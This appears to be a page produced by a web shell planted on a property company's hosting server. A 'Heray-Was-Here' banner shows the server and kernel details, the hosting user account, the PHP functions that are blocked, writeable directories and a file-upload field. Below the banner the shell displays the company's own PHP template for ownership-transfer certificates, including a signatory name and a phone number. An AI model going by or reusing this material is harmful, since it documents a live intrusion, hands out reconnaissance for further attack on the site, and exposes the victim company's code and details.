Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/transfer_certificate_template.php
<?php
function getTransferCertificateTemplate(array $data) {
    $companyName = $data['company_name'] ?? (function_exists('getSetting') ? (getSetting('company_name', 'AIBEN Properties') ?: 'AIBEN Properties') : 'AIBEN Properties');
    $companyAddress = $data['company_address'] ?? (function_exists('getSetting') ? (getSetting('company_address', '') ?: '') : '');
    $companyEmail = $data['company_email'] ?? (function_exists('getSetting') ? (getSetting('company_email', '') ?: '') : '');
    $companyPhone = '+234 90 4444 4411';
    $logoRel = $data['logo_url'] ?? 'https://aibenproperties.com/wp-content/uploads/2024/09/Aiben-Group-Logo.png';

    $issuedDate = $data['issued_date'] ?? date('F j, Y');
    $transferId = (string)($data['transfer_id'] ?? '');
    $propertyTitle = (string)($data['property_title'] ?? '');
    $sellerName = (string)($data['seller_name'] ?? '');
    $buyerName = (string)($data['buyer_name'] ?? '');
    $oldAllocId = (string)($data['old_allocation_id'] ?? '');
    $newAllocId = (string)($data['new_allocation_id'] ?? '');
    $salePrice = (string)($data['sale_price_text'] ?? '');
    $reallocationFee = (string)($data['reallocation_fee_text'] ?? '');
    $adminFee = (string)($data['admin_fee_text'] ?? '');
    $totalFee = (string)($data['total_fee_text'] ?? '');

    $infoParts = array_filter([$companyAddress, $companyEmail, $companyPhone], static function($v){ return trim((string)$v) !== ''; });
    $infoLine = !empty($infoParts) ? implode(' | ', $infoParts) : '';
    $ref = $transferId !== '' ? ('TR-' . $transferId) : ('TR-' . date('YmdHis'));

    $base = function_exists('buildAbsBaseUrl') ? buildAbsBaseUrl() : '/';
    $root = __DIR__;
    $inlineImage = function($u) use ($root, $base) {
        $orig = trim((string)$u);
        $u = $orig;
        if ($u === '') return '';
        if (preg_match('/^https?:\\/\\//i', $u)) {
            $ctx = null;
            try {
                $ctx = stream_context_create([
                    'http' => ['timeout' => 5, 'follow_location' => 1],
                    'https' => ['timeout' => 5, 'follow_location' => 1],
                ]);
            } catch (Throwable $e) { $ctx = null; }
            $bin = @file_get_contents($u, false, $ctx ?: null);
            if (is_string($bin) && strlen($bin) > 10) {
                $mime = 'image/png';
                if (!empty($http_response_header) && is_array($http_response_header)) {
                    foreach ($http_response_header as $h) {
                        if (stripos((string)$h, 'content-type:') === 0) {
                            $mt = trim((string)substr((string)$h, strlen('content-type:')));
                            if ($mt !== '') { $mime = $mt; }
                            break;
                        }
                    }
                }
                return 'data:' . $mime . ';base64,' . base64_encode($bin);
            }
            $base2 = rtrim((string)$base, '/') . '/';
            if ($base2 !== '/' && stripos($u, $base2) === 0) {
                $u = substr($u, strlen($base2));
            } else {
                $pu = @parse_url($u);
                $pb = @parse_url((string)$base2);
                $uh = strtolower((string)($pu['host'] ?? ''));
                $bh = strtolower((string)($pb['host'] ?? ''));
                if ($uh !== '' && $bh !== '' && $uh === $bh && !empty($pu['path'])) {
                    $u = ltrim((string)$pu['path'], '/');
                } else {
                    return $orig;
                }
            }
        }
        $abs = $root . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, ltrim($u, "/\\"));
        if (!file_exists($abs)) return $orig;
        $bin = @file_get_contents($abs);
        if ($bin === false) return $orig;
        $mime = 'image/png';
        if (function_exists('mime_content_type')) { $mt = @mime_content_type($abs); if ($mt) $mime = $mt; }
        elseif (function_exists('finfo_open')) { $f = @finfo_open(FILEINFO_MIME_TYPE); if ($f) { $mt = @finfo_file($f, $abs); @finfo_close($f); if ($mt) $mime = $mt; } }
        return 'data:' . $mime . ';base64,' . base64_encode($bin);
    };

    $logoUrl = $logoRel !== '' ? (function_exists('normalizeUrlPath') ? normalizeUrlPath($logoRel, $base) : $logoRel) : '';
    $logoUrl = $inlineImage($logoUrl);

    $signatureCandidate = 'https://aibenproperties.com/wp-content/uploads/2026/03/chairmans-signature.png';
    $signatureCandidate = function_exists('normalizeUrlPath') ? normalizeUrlPath($signatureCandidate, $base) : $signatureCandidate;
    $sigUrl = $inlineImage($signatureCandidate);

    $sealCandidate = !empty($data['seal_url'])
        ? (string)$data['seal_url']
        : (function_exists('getSetting') ? ((string)(getSetting('company_seal_path', '') ?: getSetting('company_seal_url', ''))) : '');
    if ($sealCandidate === '') { $sealCandidate = 'uploads/seals/aiben_seal_blue.png'; }
    $sealCandidate = function_exists('normalizeUrlPath') ? normalizeUrlPath($sealCandidate, $base) : $sealCandidate;
    $sealUrl = $inlineImage($sealCandidate);

    $signatoryName = trim((string)($data['signatory_name'] ?? ''));
    if ($signatoryName === '') {
        $signatoryName = function_exists('getSetting') ? (string)(getSetting('allocation_signatory_name', '') ?: '') : '';
    }
    if ($signatoryName === '') { $signatoryName = 'Andy Elerewe'; }
    $signatoryTitle = trim((string)($data['signatory_title'] ?? ''));
    if ($signatoryTitle === '') {
        $signatoryTitle = function_exists('getSetting') ? (string)(getSetting('allocation_signatory_title', '') ?: '') : '';
    }
    if ($signatoryTitle === '') { $signatoryTitle = 'MD/C.E.O'; }

    return '<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Transfer Certificate</title>
  <style>
    body{font-family:Arial,Helvetica,sans-serif;color:#0f172a;margin:0;background:#fff}
    .page{padding:42px}
    .card{border:1px solid #e5e7eb;border-radius:16px;padding:28px;position:relative}
    .top{display:flex;justify-content:space-between;align-items:flex-start;gap:16px}
    .brand{display:flex;gap:12px;align-items:center}
    .brand img{height:46px;width:auto}
    .company{line-height:1.25}
    .company .name{font-weight:800;font-size:16px}
    .company .meta{font-size:12px;color:#64748b}
    .doc-meta{text-align:right}
    .doc-meta .title{font-weight:900;font-size:14px;letter-spacing:.06em;text-transform:uppercase}
    .doc-meta .ref{font-size:12px;color:#64748b;margin-top:4px}
    h1{margin:22px 0 10px 0;font-size:22px}
    .sub{color:#475569;font-size:13px;margin-bottom:18px}
    .grid{display:grid;grid-template-columns:1fr 1fr;gap:12px}
    .kv{border:1px solid #eef2f7;border-radius:12px;padding:12px}
    .kv .k{font-size:11px;color:#64748b;text-transform:uppercase;letter-spacing:.06em;font-weight:800}
    .kv .v{margin-top:6px;font-weight:800;font-size:13px;color:#0f172a}
    .para{margin-top:18px;font-size:13px;line-height:1.65;color:#1f2937}
    .sign-block{ margin-top:16px; }
    .sig-wrap{ position:relative; width:260px; height:86px; }
    .sig-img{ position:absolute; left:0px; top:0px; width:210px; height:auto; max-height:60px; border:0; outline:none; box-shadow:none; background:transparent !important; z-index:10; mix-blend-mode:multiply; }
    .sig-name{ position:absolute; left:0; top:56px; line-height:1.15; font-size:14px; font-weight:900; z-index:2; color:#0f172a; }
    .foot{margin-top:18px;font-size:11px;color:#64748b}
  </style>
</head>
<body>
  <div class="page">
    <div class="card">
      <div class="top">
        <div class="brand">
          <img src="'.htmlspecialchars($logoUrl).'" alt="Logo">
          <div class="company">
            <div class="name">'.htmlspecialchars($companyName).'</div>
            <div class="meta">'.htmlspecialchars($infoLine).'</div>
          </div>
        </div>
        <div class="doc-meta">
          <div class="title">Transfer Certificate</div>
          <div class="ref">Reference: '.htmlspecialchars($ref).'<br>Issued: '.htmlspecialchars($issuedDate).'</div>
        </div>
      </div>

      <h1>Certificate of Ownership Transfer</h1>
      <div class="sub">This certifies that ownership has been transferred in accordance with '.htmlspecialchars($companyName).' policy and verification process.</div>

      <div class="grid">
        <div class="kv"><div class="k">Property</div><div class="v">'.htmlspecialchars($propertyTitle ?: '-').'</div></div>
        <div class="kv"><div class="k">Transfer ID</div><div class="v">'.htmlspecialchars($transferId ?: '-').'</div></div>
        <div class="kv"><div class="k">Seller (Previous Owner)</div><div class="v">'.htmlspecialchars($sellerName ?: '-').'</div></div>
        <div class="kv"><div class="k">Buyer (New Owner)</div><div class="v">'.htmlspecialchars($buyerName ?: '-').'</div></div>
        <div class="kv"><div class="k">Old Allocation</div><div class="v">'.htmlspecialchars($oldAllocId ? ('#'.$oldAllocId) : '-').'</div></div>
        <div class="kv"><div class="k">New Allocation</div><div class="v">'.htmlspecialchars($newAllocId ? ('#'.$newAllocId) : '-').'</div></div>
      </div>

      <div class="grid" style="margin-top:12px">
        <div class="kv"><div class="k">Sale Price</div><div class="v">'.htmlspecialchars($salePrice ?: '-').'</div></div>
        <div class="kv"><div class="k">Transfer Fees</div><div class="v">'.htmlspecialchars(trim(($reallocationFee ? $reallocationFee.' reallocation' : '').($adminFee ? ' • '.$adminFee.' admin/legal' : '').($totalFee ? ' • Total '.$totalFee : '')) ?: '-').'</div></div>
      </div>

      <div class="para">
        All submitted documents and fees for this transfer have been verified and approved. This certificate is issued for record and legal coverage purposes.
      </div>

      <div class="sign-block">
        <div style="font-weight:900;margin-bottom:2px">Yours Faithfully,</div>
        <div class="sig-wrap">
          '.($sigUrl !== '' ? ('<img src="'.htmlspecialchars($sigUrl).'" class="sig-img" alt="Signature">') : '').'
          <div class="sig-name">
            <b>'.htmlspecialchars($signatoryName).'</b><br>
            '.htmlspecialchars($signatoryTitle).'
          </div>
        </div>
      </div>

      <div class="foot">Generated by '.htmlspecialchars($companyName).' Document System.</div>
    </div>
  </div>
</body>
</html>';
}

Hry